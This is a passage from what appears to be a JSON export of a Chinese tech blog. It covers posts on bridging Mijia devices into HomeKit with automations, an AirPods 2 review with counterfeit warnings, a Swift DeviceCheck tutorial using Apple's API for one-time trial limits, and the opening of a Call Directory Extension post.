\"MijiaCamera\",\t\t\t\"name\": \"Mi Camera\",\t\t\t\"ip\": \"\",\t\t\t\"token\": \"\"\t\t}\t],\t\"platforms\": [\t {\t \"platform\" : \"yeelight\",\t \"name\" : \"yeelight\"\t }\t]}然後一樣回到「終端機」下:sudo homebridge start或sudo homebridge restart即可看到原本不支援的米家 LED 智慧檯燈也加入HomeKit「家庭」APP囉!而且同樣支援顏色、光度調整!HomeKit配件都加好了,怎麼讓他智慧呢?全都加好、橋接好後ㄧ樣打開「家庭」APP依照步驟新增場景情境,這裡以回家為例:右上角點擊「+」-> 加入情境 -> 自訂 -> 配件名稱自行輸入(EX:回家) -> 點下方「加入配件」-> 選擇已串接好的HomeKit配件 -> 設定這個場景時的配件狀態(攝影機:關/臺燈:開) -> 可點「測試情境」進行測試 -> 右上角「完成」!這樣就設定好場囉~這時候在首頁點場景就換執行裡面所有配件的設定!還有一個快捷小撇步,就是在上拉控制選單直接點房子形狀的按鈕快速操作HomeKit/執行情境(右上可切換模式)!智慧有了,那怎麼自動化呢?智慧已經有了,現在我想要達成終極目標,回家自動關閉攝影機、開燈;離家自動開攝影機、關燈.切到第三個Tab「自動化」就可設定,很抱歉這邊沒有一個上述設備(iPad/Apple TV/HomePod)可以做 ” 家庭中樞 ” 所以這塊我就沒研究了。原理好像是回到家,感應到 ”家庭中樞” 手機/手錶即可精準觸發!這邊我有找到一個tricky的做法:(感應GPS)使用第三方的APP串接「家庭」加入自動化設定,就可以透過使用手機GPS定位來做到自動化破解封鎖使用「自動化」Tab的功能p.s GPS會有約100公尺的誤差這邊我使用的第三方串接APP是: myHome Plus下載&安裝後開啟APP -> 允許存取「家庭資料」-> 會看到「家庭」的資料配置 -> 點選右上角「設定按鈕」-> 點「我家」進入 ->下拉到「Triggers」區域 -> 點「Add Trigger」Trigger 類型選「Location」-> Name 輸入名字(EX:回家) -> 點「Set Location」設定位置區域 -> 再來 REGION STATUS 可以設定是進入還是離開該區域 -> 最後 SCENES 可以選擇對應要執行的「情景」(上面建立的)按右上角「完成」儲存後,再回到「家庭」APP,可以看到「自動化」Tab 被打開可以用了!這時候就可以選擇右上角「+」使用「家庭」APP直接新增自動化腳本!!步驟也如第三方APP,不過整合性更佳!使用原生「家庭」APP建立好自動化後也可以滑動刪除剛剛用第三方APP建的。 !!僅需注意,至少要保留一項;否則Tab就會回到原始封鎖狀態!!Siri 語音控制的部分:相較下面介紹的米家,HomeKit的整合性相當高,可直接使用語音控制設定的配件、執行場景,無需額外,無需額外設定。HomeKit的設定介紹就到這邊了,再來講解米家原生智慧家庭的用法。使用米家本身搭建智慧家庭的方法:這邊遇到一個困惑點,就是我在米家新增設備中找不到長得一樣的米家檯燈,答案就是:看字就好,這個就是其他設備:攝影機、Pro檯燈就直接照官方說明設定加入就好,這邊不在冗述.場景情境設定:同「家庭設定方式」-> 切換到「智慧」Tab -> 選擇「手動執行」-> 下方選擇裝置操作(由於是原生所以可選更多功能) -> 繼續增加其他裝置(檯燈) -> 「儲存」完成! 一定會有人想問為什麼不直接選「離開或到達某地」?,因為這功能根本沒用,他APP沒針對台灣優化GPS是錯的,而且他的定位只能定在地標上,如果你的位置有那可以直接使用此功能, 文章後續也都可跳過! 冷知識: Google Maps 裡的中國地圖全是錯的!快捷開關部分,可以從「我的」->「小元件」設定小工具元件!這樣就能從通知中心快速執行場境、裝置囉!也可從 Apple Watch 上控制元件!*如果手錶APP一直出現空白請刪除重裝手錶或手機APP,這個APP真的蠻多BUG的智慧有了,那怎麼自動化呢?這邊ㄧ樣要使用GPS感應方式, 如果上述新增場景用的就是「離開或到達某地」,以下介紹設定都可略過囉!* * * * *[2019/09/26] 更新 iOS ≥ 13 只使用內建 捷徑 APP 達成自動化 :iOS ≥ 13.1 使用「捷徑」自動化功能搭配米家智慧家居,點擊前往查看>>* * * * * iOS ≥ 12,iOS < 13 Only : 使用內建的捷徑APP搭配IFTTT首先到「我的」-> 「實驗室功能」->「iOS 捷徑」-> 「將米家場景加入捷勁」打開系統內建的「 捷徑 」APP(若找不到請到App Stroe 搜尋下載回來)點擊右上角「+」建立捷徑 -> 點右上完成下方的設定按鈕 -> 名稱 -> 輸入名稱(建議用英文,因為等等還要用到)回到新增捷徑頁面 -> 在下方選單輸入搜尋「米家」-> 加入對應的在米家設定的場景,關閉「執行時顯示」否則執行完會開啟米家APP。 *如果找不到米家請回到米家APP嘗試開關「我的」-> 「實驗室功能」->「iOS 捷徑」-> 「將米家場景加入捷勁」、滑掉「捷徑」APP重開。這時候又要使用第三方APP了,我們使用IFTTT做GPS進入、離開的背景觸發器,到App Store搜尋「 IFTTT 」下載&安裝。打開IFTTT、登入帳號後,切換到「My Applets」Tab,點右上角「+」新增->點擊「+this」-> 搜尋「Location」-> 選擇是進入還是離開設定位置 -> 點擊「Create trigger」確定 -> 換點下面「+that」-> 搜尋「notification」選擇「Send a rich notification from the IFTTT app」:Title = 通知標題 , Message = 通知內容Link URL 請輸入:shortcuts://run-shortcut?name= 捷徑名稱所以才說捷徑名稱盡量設英文比較好-> 點選「Create action」-> 可點選「Edit title」設定名稱-> 「Finish」儲存完成!當你下次離開/進入設定的區域範圍就會收到觸發的通知(一樣有約100公尺的誤差範圍),點選通知後就會自動執行米家場景囉!點選通知就會在背景自動執行場景Siri 語音控制的部分:由於米家不是Apple內建APP,所以要支援Siri語音控制就得另外設置:在「智慧」Tab -> 「加入Siri」-> 選擇「目標場景」按「加入Siri」-> 點紅色錄製指令(EX:關燈) -> 完成!即可在Siri中直接呼叫控制執行場景!總結上述一大堆的設定步驟,總結一下就是:如果要好的體驗就是得花大錢買有HomeKit標誌的電器(就可不需放台Mac做HomeBridge開機待命,直接與原生Apple 家庭功能完美結合)還有要再買HomePod或Apple TV、iPad做家庭中樞;不管是HomeKit標誌的電器、家庭中樞都不便宜!如果有技術能力可考慮使用第三方智慧裝置(如米家)搭配樹莓派做HomeBridge。如果像我一個就是個普通人那還是直接用米家最為方便上手,目前的使用習慣是回家、離開家會從通知中心點快捷小工具執行場景操作;捷徑APP搭配IFTTT的部份僅作為通知提醒,怕有時候忘記。目前體驗雖沒達到目標理想,但已經離 “智慧家庭” 更進一步了!進階篇示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "AirPods 2 開箱及上手體驗心得", "url": "/posts/33afa0ae557d/", "categories": "ZRealm, Life.", "tags": "airpods, 3c, 開箱, airpods2, 生活", "date": "2019-05-01 21:32:20 +0800", "snippet": "AirPods 2 開箱及上手體驗心得 (雷射鐫刻版)更加巧妙,無比驚歎。[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往AirPods 這款產品剛出來時,我並沒有特別注意;第一眼看覺得就是個像蓮蓬頭的無線藍牙耳機,而且那時候無線藍牙耳機市場也是百家齊放的狀態,你能想到的款式、需求都能找到相符的產品再加上價格也不親民,有什麼特別的?...", "content": "AirPods 2 開箱及上手體驗心得 (雷射鐫刻版)更加巧妙,無比驚歎。[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往AirPods 這款產品剛出來時,我並沒有特別注意;第一眼看覺得就是個像蓮蓬頭的無線藍牙耳機,而且那時候無線藍牙耳機市場也是百家齊放的狀態,你能想到的款式、需求都能找到相符的產品再加上價格也不親民,有什麼特別的?直到我真正上手後才感受到它的 「驚艷」 之處,自從開賣之後 AirPods 長年霸佔藍牙耳機銷售排行榜前幾名絕非浪得虛名,靠的也不只是果粉的信仰,那到底好用在哪,讓我們繼續看下去.真香梗入手背景本來只是單純的iPhone用戶,去年入手了MacBook Pro、 Apple Watch S4 ,開始陷入蘋果生態系(俗稱:蘋果全家桶)手錶都買了,獨缺一副耳機。原本在使用的藍牙耳機已服役一段時間,就是款中規中矩的耳機,沒有不好但也沒特別出色,音質普普、續航力很夠;要說痛點的話就是通話時不清楚、訊號容易干擾,開關機要長按、要等配對及電量標示不清楚,都是小小問題;平常就通勤跟運動時使用,在電腦前多半使用喇叭或有線耳機,所以也能滿足我的基本需求.AirPods 1代推出後,身邊朋友的使用經驗多半好評,這次剛好跟上AirPods 2代的潮流,所以就順勢入手囉.p.s. 因為我沒使用過 1代 所以考量入手的點也不會是跟 1代 做比較有什麼提升的項目 (本篇文章也不會提及跟1代的差異).挑選,無線還是有線版本?無線及有線版本價格差$1,200,起初我是考慮買無線版本的;想到我那凌亂的床頭櫃上的充電線還有出國能少帶條線,對便利性提升來說很是心動!!蘋果宣告 AirPower 胎死腹中後,我在網路尋找類似的產品,買了款 2合1的無線充電版,2 是 iPhone、Apple Watch;因iPhone跟AirPods不太會隨時或同時需要充電,所以交替使用下是能3合1使用的.一切都看似美好,直到我下標收到貨之後,實際使用發現無法同時充手機跟手錶,手錶的充電量幾乎=0、而且速度很慢,電流根本催不起來!就算使用 5.1V/2.1A 的大豆腐頭也是,不確定該搭什麼電壓的頭才能使用,查 網友評價 ,這個狀況也非個案,最後還是悻悻然的退貨了.想想也不過就兩條線(AirPods跟iPhone都是lightning/AppleWatch是專用線),而且速度還是有線快;無線需要那塊版本+版子的線+可能要更大的頭?;比較之下沒有特別便利優勢.所以最終我選擇了有線版的AirPods 2。 p.s. 無線版跟有線版的差別只在,充電盒有線版同1代(指示燈在內);無線版的充電盒指示燈在外&也能用有線充下單從發佈到開賣(台灣),大約隔了1個月,每天都要照三餐上官網看開賣沒,相信很多網友也是XD;實在等的揪心,其他國家早就開賣了!4/23 開賣就立馬下標了,AirPods 2 這次可以雷射鐫刻(刻字)當然不免俗的也刻了:ΛVICII ◢ ◤ — 官方預覽圖 以此紀念 瑞典傳奇音樂製作人 AVICII “One day you’ll leave this world behind So live a life you will remember.” Avicii — The Nights可以刻 11個字元 ,包含中文/英文/符號/空格;實測符號部分應該大部分都可,不支援他會顯示「無法鐫刻這些字元:」,所以不需要擔心變亂碼.p.s 有刻字約需多等一週,不刻字可到101直接買或透過經銷商購買(價格更便宜)官方給的預估收到時間是:5/3~5/10,4/29通知從上海出貨,很幸運地4/30趕在51勞動節放假前我就收到了(超快!!從上海到台北)開箱!外包裝展開本體近照本體全身照肚子裡的東西亂開箱結束!整體拿起來有份量,手感跟質感非常好,刻字部分也很精細;是蘋果產品該有的水準!使用第一次使用:全新AirPods第一次使用時只需打開 AirPods盒子 靠近 iPhone 就會詢問,即可完成配對;不用特別案配對按鈕。設定耳機操作:手機版:打開「設定」->「藍芽」->「找到你的AirPods」->「設定」MacBook 版:左上角「」->「系統偏好設定」->「藍芽」(若沒聲音請將聲音書出改選AirPods)可自行選擇左右耳的雙擊的動作.點擊位置在耳機本體上側邊小孔下方:其實我摸索了一下才知道位置一些小技巧快速切換回iPhone上使用:上拉選單->選擇音訊區塊->選擇右上圖標->切換選擇AirPods也可由此查看AirPods電量。(顯示電量較低的那隻的電量)用小工具查看電量方法:左滑到控制中心->下方「編輯」->找到「電池」新增並排序以後就能直接左滑控制中心查看AirPods電量(顯示電量較低的那隻的電量)要看左右耳及盒子的電量,就需將其中一隻AirPods放回盒子並打開盒子(因為盒子本身沒有藍芽功能):*盒子內是我貼的防塵貼片 這裡有一個BUG,如果你的電池小工具顯示電量一下之後就消失;請去「設定」->「螢幕顯示與亮度」->「文字大小」-> 調回預設大小(第三格)即可!Apple Watch 查看電量方法:上滑控制中心->點擊電量Apple Watch 上電量顯示視窗下方會多顯示AirPods的電量p.s.但好像有 BUG 有時候不會顯示關於電量的補充: 1.當 AirPod 電池電量低時,您會在其中一個或兩個 AirPods 中聽到提示音。當電池電量低時,您會聽到一次提示音,在 AirPods 關閉前,會再聽到一次提示音。 2.如果 AirPods 放在充電盒中而且盒蓋開著,指示燈顯示的是 AirPods 的充電狀態。如果 AirPods 不在充電盒中,指示燈顯示的是充電盒的狀態。綠色表示已充飽電,而琥珀色表示剩不到一次充飽電的電量。— 取自 官網的文件使用心得在寫心得之前,先提一個最近聽到的創業故事;簡而言之就是:「做產品時我們應該要做的不是針對大範圍、而是選擇一個小範圍的點,然後慢慢擴散」AirPods 與其他廠牌的藍牙耳機最大的差異就是小範圍的細節體驗無話可說,像是使用時拿掉一耳會自動暫停音樂,戴回去會恢復播放這些,還有拿出來就能直接用,不用就放回去,不用去管那些開機關機連線的問題,舒適度方面,佩戴起來甚至感覺不到他的存在.充電速度飛快,加上放在盒子內就會自動充電;所以只要稍微注意盒子還有沒有電就好(盒子約可充5次),不太會遇到像之前要用藍牙耳機時它卻沒電,然後還要等它慢慢充電。延遲就如傳言一樣,看影片、玩遊戲幾乎感覺不到延遲(我測試玩的是極速領域賽車遊戲).Hey Siri 的部分 ,起初也覺得很雞肋,因為我有手錶也能遠距離Hey Siri;實際體驗後同上提到的,一切都是「細節體驗」;AirPods的Hey Siri又更上了一個層級,連抬手呼出都不用;直接呼叫Hey Siri就能使用,真的達到Siri無所不在的感覺。可能遇到的場景就是在整理家務、雙手都拿東西時;這時候這個功能就相當方便!還有還有,可以 呼叫Siri調節音量 :「Hey Siri! ,大聲一點」、「Hey Siri! ,音量調到75%」一句話來總結使用 AirPods 的心得就是: 「一切都是那麼的自然」你無需花心思在那些不必要的事物上,耳機就該只是耳機。通話品質部分 也是同樣驚艷,除了基本的通話品質穩定之外,收音效果堪比話筒品質,真的超神奇;實測跟朋友通話,他甚至聽不太出來我用的是AirPods!騎車配戴部分 ,其實我本來很期待能騎車時帶著聽導航,結果已入手1代的朋友說「不行」,3/4以上的安全帽,再帶帽子的過程會壓到耳朵,耳機很容易掉;這邊實際測試也是,心抖了一下,建議真的要邊騎車邊聽導航,只帶ㄧ耳就好,穿脫安全帽時只顧一耳比較安全。缺點:最終還是要說一下我覺得的缺點手勢可控制的項目太少…我真的很習慣手勢控制大小聲(不過還好這部分有手錶可以控制Spotify音量)另外手機連接速度的確很快但電腦的連接速度:我的MacBook Pro 2018 蠻慢的、但另一台Mac Mini跟手機連接一樣快TESTV 評測頻道也有提到它的MacBook Pro在蓋起來外接使用時,搭配AirPods訊號會斷斷續續的!(這部分我不會)不過,為什麼有這些差異?我猜是因為有其他信號干擾(燈、螢幕輸出、其他藍芽設備)吧?闢謠: 大小外型跟有線earpodsㄧ樣、容易掉的問題:首先大小外型跟earpods有差距,我戴earpods有點鬆鬆的,但戴AirPods感覺很穩,跳來跳去也不會掉;不過其實很看人,有的人的確會出現不合適的問題,建議購買前先跟有AirPods的朋友借來戴戴看!*或是在耳機頭部貼一些人工皮增加面積、阻力 音質跟earpods很像:同上,其實差很多,AirPods的音質好很多;我覺得雖然可能跟同價位主打音質的耳機有落差,也無降噪功能,但AirPods本身就不是音質取向的耳機,取捨就看個人。就我個人體驗,音質聽得出環繞層次、音域廣,整體不失水準!配件:由於在下奶油手,AirPods就跟一顆雞蛋ㄧ樣,我很怕會溜手直接摔爆;爬了許多保護套推薦文,蠻多人推薦這款:Catalyst AirPods 防水收納盒(保護套)會選擇這個的原因是:防水、防摔、有掛勾、使用便利(拿收耳機跟充電時不用拆)價格:$1000上下 [![開箱 Catalyst Airpods專用的耳機收納保護套 Apple earphone](/assets/33afa0ae557d/7645_hqdefault.jpg “開箱 Catalyst Airpods專用的耳機收納保護套 Apple earphone”)](http://www.youtube.com/watch?v=XD8Lvp1vR1M){:target=”_blank”} 小開箱:正面,因為怕髒所以我買深色背面也有相對應配對鍵的按鈕拿收耳機只需翻開上半部底部充電孔有蓋子可開關p.s. 為了要拿到AirPods能馬上用,其實我套子比AirPods先買好😂網友提問:1代與2代保護套是否能共用?區分這個的標準不是1或2代,而是有線或無線版;如果您是有線版那1、2代都能用,無線版的指示燈在外及背面配對設定按鍵位置較上居中,無法與有線版共用保護套,這部分需要注意⚠️再來是盒子內部防塵貼:AHA AirPods 防塵貼有網友問到密合度問題:沒貼好會有點不密合,我橋很久才讓他完全密合;邊邊稍微有一點點刮手感(不影響,可能是公差?)不太好貼,因為防塵貼是金屬片,盒子本身有磁鐵容易在瞄準的時候就被吸下去目前覺得有點多餘,不知道使用一陣子後的效果如何,所以先持保留態度。防詐騙宣導請大家要特別注意,對岸已經出現破解晶片的高仿版本,配對同樣有動畫、同樣有電量顯示,從外觀幾乎無法區別的山寨版。目前主要的識別方式是從軟體下手: 電量顯示:正版能顯示左耳、右耳、盒子三個電量/盜版只有ㄧ個 藍牙設定那邊,正版可以設定左右耳的點擊功能/盜版只有斷開和遺忘 充電盒指示燈正版連上後會熄/盜版會繼續亮著但以上都不確定之後山寨版會不會修正,所以大家還是以官方或大型通路渠道購買較安全.⚠️不孝商人現在更猖獗了,把盜版用接近正版的價格賣⚠日前在Facbook、Google廣告聯播網上發現有惡劣商人,將盜版用接近正版價格賣(網站是常見的 一頁式詐騙網頁 ),非常惡劣;我覺得如果你是貪小便宜花個1000出買到AirPods你自己應該也要有認知會是假的,但把盜版當正版價格賣實在非常低級! 請注意,全新的AirPods價格應該不會低於$4500。詐騙、來源不明的賣家如果你不小心下標了,取貨付款請直接拒收、已收請趕快打電話給貨運公司要求退貨(態度要強硬),有任何問題可加入 FB購物廣告受害者自救會 。看到這類廣告請直接點右上角向Facebook/Google檢舉、或是狂點廣告讓他快速的燒完廣告預算。另外請大家發現山寨的AirPods或蘋果產品不要姑息養奸,無論是來路不明的網站、一頁式購物詐騙、蝦皮、露天,絕對要 聯繫保智大隊 去處理。亦或是1代當2代賣?二代外盒圖請確認: AirPods 2型號: A2031、A2032 AirPods 1型號: A1523、A1722 生產年份:≥ 2019詳細1、2代比較請參考這篇: AirPods 第一代與第二代辨識技巧大公開,透過這5 招馬上區分出來其他有趣的開箱及體驗影片來個全家桶吧想知道Apple Watch Series 6 的上手體驗嗎?Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS 完美實踐一次性優惠或試用的方法 (Swift)", "url": "/posts/c5e7e580c341/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, ios-11, swift, mobile-app-development", "date": "2019-04-29 23:30:01 +0800", "snippet": "iOS 完美實踐一次性優惠或試用的方法 (Swift)iOS DeviceCheck 跟著你到天涯海角在寫上一篇 Call Directory Extension 時無意間發現這個冷門的API,雖然已不是什麼新鮮事(WWDC 2017時公布/iOS ≥11支援)、實作方面也非常簡易;但還是小小的研究測試了一下並整理出文章當做個紀錄.DeviceCheck 能幹嘛? 允許開發者針對使用者的裝...", "content": "iOS 完美實踐一次性優惠或試用的方法 (Swift)iOS DeviceCheck 跟著你到天涯海角在寫上一篇 Call Directory Extension 時無意間發現這個冷門的API,雖然已不是什麼新鮮事(WWDC 2017時公布/iOS ≥11支援)、實作方面也非常簡易;但還是小小的研究測試了一下並整理出文章當做個紀錄.DeviceCheck 能幹嘛? 允許開發者針對使用者的裝置進行識別標記自從 iOS ≥ 6 之後開發者無法取得使用者裝置的唯一識別符(UUID),折衷的做法是使用IDFV結合KeyChain(詳細可參考之前 這篇 ),但在 iCloud 換帳號或是重置手機…等狀況下,UUID還是會重置;無法保證裝置的唯一性,如果以此作為一些業務邏輯的儲存及判斷,例如:首次免費試用,就可能發生使用者狂換帳號、重置手機,可不斷無限試用的漏洞.DeviceCheck 雖然不能讓我們得到保證不會改變的UUID,但他能做到「 儲存」 的功能,每個裝置Apple提供2 bits的雲端儲存空間,透過傳送裝置產生的臨時識別Token給Apple,可寫入/讀取那2 bits的資訊。2 bits? 能存什麼?只能組合出4種狀態,能做的功能有限.與原本儲存方式比較:✓ 表示資料還在p.s. 這邊小弟犧牲了自已的手機實際做了測試,結果吻合;就算我登出換iCloud、清出所有資料、還原所有設定、回到原廠初始狀態,重新安裝完APP都還是能取到值.主要運作流程如下:iOS APP 這邊透過DeviceCheck API產生一組識別裝置用的臨時Token,傳給後端再經由後端組合開發者的private key資訊、開發者資訊成JWT格式後轉傳給Apple伺服器;後端取得Apple回傳結果後處理完格式再丟回iOS APP.DeviceCheck 的應用附上 DeviceCheck 在 WWDC2017 上的截圖:因 每個裝置只能存2 bits的資訊 ,所以能做的項目差不多就如官方所提及的應用包含裝置是否曾經已試用過、是否付費過、是否是拒絕往來戶…等等;且只能實現一項.支援度: iOS ≥ 11開始!了解完基本資訊後,讓我們開始動手做吧!iOS APP 端:import DeviceCheck//....//DCDevice.current.generateToken { dataOrNil, errorOrNil in guard let data = dataOrNil else { return } let deviceToken = data.base64EncodedString() //... //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理}如流程所述,APP要做的只有取得臨時識別Token( deviceToken )!再來就是將deviceToken發送到後端我們自己的API去處理.後端:重點在後端處理的部分1.首先登入 開發者後台 記下 Team ID2. 再點側欄的 Certificates, IDs & Profiles 前往憑證管理平台選擇「Keys」-> 「All」-> 右上角「+」新增Step 1.建立新Key,勾選「DeviceCheck」Step 2. 「Confirm」確認Finished.最後一步建立完成後, 記下 Key ID 及點擊「Download」下載回 privateKey.p8 私鑰檔案.這時候你已經準備齊全了所有推播所需資料: Team ID Key ID privateKey.p83. 依Apple規範組合 JWT(JSON Web Token) 格式演算法: ES256//HEADER:{ \"alg\": \"ES256\", \"kid\": Key ID}//PAYLOAD:{ \"iss\": Team ID, \"iat\": 請求時間戳(Unix Timestamp,EX:1556549164), \"exp\": 逾期時間戳(Unix Timestamp,EX:1557000000)}//時間戳務必是整數格式!取得組合的JWT字串:xxxxxx.xxxxxx.xxxxxx4. 將資料發送給Apple伺服器&取得回傳結果同APNS推播有分開發環境跟正式環境: 1.開發環境:api.development.devicecheck.apple.com (不知道為什麼我開發環境發送都會回傳失敗) 2.正式環境:api.devicecheck.apple.comDeviceCheck API 提供兩個操作: 1.查詢儲存資料: https://api.devicecheck.apple.com/v1/query_two_bits//Headers:Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (組合的JWT字串)//Content:device_token:deviceToken (要查詢的裝置Token)transaction_id:UUID().uuidString (查詢識別符,這裡直接用UUID代表)timestamp: 請求時間戳(毫秒),注意!這裡是毫秒(EX: 1556549164000)回傳狀態:官方文件回傳內容:{ \"bit0\": Int:2 bits 資料中第一位的資料:0或1, \"bit1\": Int:2 bits 資料中第二位的資料:0或1, \"last_update_time\": String:\"最後修改時間 YYYY-MM\"}p.s. 你沒看錯,最後修改時間就只能顯示到年-月2.寫入儲存資料: https://api.devicecheck.apple.com/v1/update_two_bits//Headers:Authorization: Bearer xxxxxx.xxxxxx.xxxxxx (組合的JWT字串)//Content:device_token:deviceToken (要查詢的裝置Token)transaction_id:UUID().uuidString (查詢識別符,這裡直接用UUID代表)timestamp: 請求時間戳(毫秒),注意!這裡是毫秒(EX: 1556549164000)bit0: 2 bits 資料中第一位的資料:0或1bit1: 2 bits 資料中第二位的資料:0或15. 取得Apple伺服器回傳結果回傳狀態:官方文件回傳內容:無,回傳狀態 200 即表示寫入成功!6. 後端API回傳結果給APPAPP在針對相應的狀態做回應就完成了!後端部分補充:這邊太久沒碰PHP了,有興趣請參考 iOS11で追加されたDeviceCheckについて 這篇文章的 requestToken.php 部分Swift 版示範Demo:因後端部分我無法提供實作且不是大家都會PHP,這邊提供一個用純iOS (Swift) 做的範例,直接在APP裡處理後端該做的那些事(組JWT,發送資料給頻果),給大家做參考!不需撰寫後端程式就能模擬執行所有內容. ⚠請注意 僅為測試示範所需,不建議用於正式環境 ⚠這邊要感謝 Ethan Huang 大大的 CupertinoJWT 提供 iOS 在APP內產生JWT格式內容的支援!Demo 主要程式及畫面://// ViewController.swift// DCDeviceTest//// Created by 李仲澄 on 2019/4/29.// Copyright © 2019 ZhgChgLi. All rights reserved.//import UIKitimport DeviceCheckimport CupertinoJWTextension String { var queryEncode:String { return self.addingPercentEncoding(withAllowedCharacters: .whitespacesAndNewlines)?.replacingOccurrences(of: \"+\", with: \"%2B\") ?? \"\" }}class ViewController: UIViewController { @IBOutlet weak var getBtn: UIButton! @IBOutlet weak var statusBtn: UIButton! @IBAction func getBtnClick(_ sender: Any) { DCDevice.current.generateToken { dataOrNil, errorOrNil in guard let data = dataOrNil else { return } let deviceToken = data.base64EncodedString() //正式情況: //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理 //!!!!!!以下僅為測試、示範所需,不建議用於正式環境!!!!!! //!!!!!! 請勿隨意暴露您的PRIVATE KEY !!!!!! let p8 = \"\"\" -----BEGIN PRIVATE KEY----- -----END PRIVATE KEY----- \"\"\" let keyID = \"\" //你的KEY ID let teamID = \"\" //你的Developer Team ID :https://developer.apple.com/account/#/membership let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60) do { let token = try jwt.sign(with: p8) var request = URLRequest(url: URL(string: \"https://api.devicecheck.apple.com/v1/update_two_bits\")!) request.httpMethod = \"POST\" request.addValue(\"Bearer \\(token)\", forHTTPHeaderField: \"Authorization\") request.addValue(\"application/x-www-form-urlencoded\", forHTTPHeaderField: \"Content-Type\") let json:[String : Any] = [\"device_token\":deviceToken,\"transaction_id\":UUID().uuidString,\"timestamp\":Int(Date().timeIntervalSince1970.rounded()) * 1000,\"bit0\":true,\"bit1\":false] request.httpBody = try? JSONSerialization.data(withJSONObject: json) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in guard let data = data else { return } print(String(data:data, encoding: String.Encoding.utf8)) DispatchQueue.main.async { self.getBtn.isHidden = true self.statusBtn.isSelected = true } } task.resume() } catch { // Handle error } //!!!!!!以上僅為測試、示範所需,不建議用於正式環境!!!!!! // } } override func viewDidLoad() { super.viewDidLoad() DCDevice.current.generateToken { dataOrNil, errorOrNil in guard let data = dataOrNil else { return } let deviceToken = data.base64EncodedString() //正式情況: //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理 //!!!!!!以下僅為測試、示範所需,不建議用於正式環境!!!!!! //!!!!!! 請勿隨意暴露您的PRIVATE KEY !!!!!! let p8 = \"\"\" -----BEGIN PRIVATE KEY----- -----END PRIVATE KEY----- \"\"\" let keyID = \"\" //你的KEY ID let teamID = \"\" //你的Developer Team ID :https://developer.apple.com/account/#/membership let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60) do { let token = try jwt.sign(with: p8) var request = URLRequest(url: URL(string: \"https://api.devicecheck.apple.com/v1/query_two_bits\")!) request.httpMethod = \"POST\" request.addValue(\"Bearer \\(token)\", forHTTPHeaderField: \"Authorization\") request.addValue(\"application/x-www-form-urlencoded\", forHTTPHeaderField: \"Content-Type\") let json:[String : Any] = [\"device_token\":deviceToken,\"transaction_id\":UUID().uuidString,\"timestamp\":Int(Date().timeIntervalSince1970.rounded()) * 1000] request.httpBody = try? JSONSerialization.data(withJSONObject: json) let task = URLSession.shared.dataTask(with: request) { (data, response, error) in guard let data = data,let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String:Any],let stauts = json[\"bit0\"] as? Int else { return } print(json) if stauts == 1 { DispatchQueue.main.async { self.getBtn.isHidden = true self.statusBtn.isSelected = true } } } task.resume() } catch { // Handle error } //!!!!!!以上僅為測試、示範所需,不建議用於正式環境!!!!!! // } // Do any additional setup after loading the view. }}畫面截圖這邊做的是一個一次性的優惠領取,每個裝置只能領一次!完整專案下載:有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "自己的電話自己辨識(Swift)", "url": "/posts/ac557047d206/", "categories": "ZRealm, Dev.", "tags": "ios, whoscall, swift, ios-app-development, ios-apps", "date": "2019-04-28 00:07:27 +0800", "snippet": "自己的電話自己辨識(Swift)iOS自幹 Whoscall 來電辨識、電話號碼標記 功能起源一直以來都是Whoscall的忠實用戶,從原本用Android手機時就有使用,能夠非常即時的顯示陌生來電資訊,當下就能直接決定接通與否;後來轉跳蘋果陣營,第一隻蘋果手機是iPhone 6 (iOS 9),那時在使用Whoscall上非常彆扭,無法即時辨識電話,要複製電話號碼去APP查詢,後期Whos...", "content": "自己的電話自己辨識(Swift)iOS自幹 Whoscall 來電辨識、電話號碼標記 功能起源一直以來都是Whoscall的忠實用戶,從原本用Android手機時就有使用,能夠非常即時的顯示陌生來電資訊,當下就能直接決定接通與否;後來轉跳蘋果陣營,第一隻蘋果手機是iPhone 6 (iOS 9),那時在使用Whoscall上非常彆扭,無法即時辨識電話,要複製電話號碼去APP查詢,後期Whoscall提供將陌生電話資料庫安裝在本地手機的服務,雖然能解決即時辨識的問題,但很容易就弄亂你的手機通訊錄!直到 iOS 10+ 之後蘋果開放電話辨識功能(Call Directory Extension)權限給開發者,才使whoscall目前至少就體驗來說已和Android版無太大缺別,甚至超越Android版(Android版廣告超多,但以開發者的立場是可以理解的)用途?Call Directory Extension 能做到什麼呢? 電話 撥打 辨識標記 電話 來電 辨識標記 通話紀錄 辨識標記 電話 拒接 黑名單設置限制? 使用者需手動進入「設定」「電話」「通話封鎖與識別」打開您的APP才能使用 僅能以離線資料庫方式辨識電話(無法即時取得來電資訊然後Call API查詢,僅能預先寫入號碼<->名稱對應在手機資料庫中)*也因此Whoscall會定期推播請使用者開APP更新來電辨識資料庫 數量上限?目前沒查到資料,應該是依照使用者手機容量無特別上限;但是數量多得辨識清單、封鎖清單要分批處理寫入! 軟體限制:iOS 版本需 ≥ 10「設定」->「電話」->「通話封鎖與識別」應用場景? 通訊軟體、辦公室通訊軟體;在APP內你可能有對方的聯絡人,但實際並未將手機號碼加入手機通訊錄中,這個功能就能避免同事甚至老闆來電時,被當陌生電話,結果漏接. 敝站( 結婚吧 )或敝私的( 591房屋交易 ),使用者與店家或房東聯繫時所撥打的電話都是我們的轉接號碼,經由轉接中心在轉撥到目標電話,大致流程如下:使用者所撥打的電話都是轉接中心代表號( 